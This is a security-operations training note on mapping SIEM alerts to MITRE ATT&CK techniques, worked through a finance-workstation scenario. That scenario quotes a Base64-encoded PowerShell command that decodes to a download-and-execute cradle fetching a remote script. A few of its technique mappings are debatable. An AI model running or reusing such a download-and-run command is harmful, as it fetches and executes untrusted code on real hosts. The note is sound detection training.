NOTE 04 - HOW A SOC ANALYST MAPS AN ALERT TO A MITRE ATT&CK TECHNIQUE

The mapping process, step by step

1. Read the raw evidence, not the alert title. Look at the actual log fields - process name, command line, parent process, user, host, source and destination IP, port, URL, hash.
2. Write down the behaviour in one plain sentence. For example: "A Word document spawned PowerShell which ran a Base64-encoded command with no window."
3. Decide the tactic - what was the attacker's goal? Word spawning PowerShell is Execution. The `-enc` flag and hidden window also support Defense Evasion.
4. Find the technique on `attack.mitre.org`. Search the behaviour keywords on the matrix, or use the technique search box. PowerShell belongs to `T1059 Command and Scripting Interpreter`, and the specific sub-technique is `T1059.001 PowerShell`.
5. Record the full path: `Tactic: Execution -> Technique: T1059 - Command and Scripting Interpreter -> Sub-technique: T1059.001 - PowerShell`.
6. Add supporting evidence. Attach the log line, the parent-child process pair, the command line and the timestamp - the mapping must be justified by data, not by opinion.
7. Note the data source needed. For this technique the detection depends on process creation with command-line logging (Sysmon Event ID 1 or Windows Security 4688 with command line), and for some variants script block logging.
8. Use the mapping to decide the next action: isolate? hunt for the same technique on other hosts? write a new detection rule? escalate?

Rules an analyst should follow

- Map what the telemetry actually shows - do not upgrade a mapping because it "sounds worse".
- Prefer the sub-technique when the evidence pins it down (PowerShell specifically), and the parent technique when it does not (just "command and scripting interpreter").
- Accept that one event can map to several techniques; record them all but mark the primary one.
- Note confidence: confirmed, likely, or possible - and say why.
- Be aware that ATT&CK does not cover everything; an event with no match is still worth documenting as an existing gap in the matrix.

Worked scenario - "invoice.doc" on a finance workstation

What the SIEM raised

- Alert: "Office application spawned a scripting interpreter"
- Host: `FIN-WS-014` (Windows 11, user `r.sharma`, finance department)
- Sysmon Event ID 1: `winword.exe` (PID 4412) created `powershell.exe` (PID 5980)
- Command line: `powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGMAbwAvAHAALgBwAHMAMQAnACkA`
- Network: TCP 443 to `45.147.230.11` about 12 seconds later (proxy log)
- EDR: a new file written to `%APPDATA%\Microsoft\Windows\Recent\p.ps1`

Step 1 - behaviour in one sentence. A document opened in Word launched a hidden, encoded PowerShell command that downloaded a script from an external IP.

Step 2 - tactics. The download-and-run is the attacker's first code running on the host (Execution); the hidden window and Base64 encoding are attempts to avoid attention (Defense Evasion); reaching out to an external IP is the beginning of Command and Control.

Step 3 - techniques.

Observed behaviour	Data source	Tactic	Technique (ID)
Word spawning PowerShell	Sysmon 1 / 4688	Execution	T1059.001 - PowerShell
`-enc` Base64 command with hidden window	Sysmon 1 (command line)	Defense Evasion	T1027 - Obfuscated Files or Information
`-nop -w hidden` PowerShell flags	Sysmon 1	Defense Evasion	T1562.001 - Impair Defenses: Disable or Modify Tools (masks normal behaviour)
HTTP(S) download to external IP	Proxy / Sysmon 3, 22	Command and Control	T1071.001 - Web Protocols
Script written to `%APPDATA%` and re-run	File creation events	Persistence	T1059.001 plus possible T1547 if a Run key follows

Step 4 - the mapping put on the ticket. The alert is recorded as:

> Execution / T1059.001 - PowerShell (confirmed). Secondary: Defense Evasion / T1027 and T1562.001; Command and Control / T1071.001.

Step 5 - what the mapping drives. Because the behaviour is hands-on-keyboard malware execution and not a false positive, severity is raised; the host is isolated; the analyst hunts the same command-line pattern across all endpoints (`-nop -w hidden -enc`) and blocks `45.147.230.11` at the firewall and proxy; the detection engineering team turns the observed pattern into a permanent SIEM rule tagged with T1059.001 and T1027.

Mapping table format used in reports

Field	Value
Alert / evidence	Encoded PowerShell spawned by Word
Host / user	`FIN-WS-014` / `r.sharma`
Primary tactic	Execution
Primary technique	T1059.001 - PowerShell
Supporting techniques	T1027, T1562.001, T1071.001
Confidence	High (command line and network both captured)
Data source used	Sysmon Event ID 1, proxy logs
Detection gap	No alert on `-w hidden` on servers yet

Key points to remember

- Map the behaviour, then match it to a technique - never the other way around.
- The evidence must support the mapping, so always keep the raw log line with the T-ID.
- One event often deserves one primary technique and several supporting ones.
- A mapping is only useful if it changes an action: escalate, contain, hunt, or build a rule.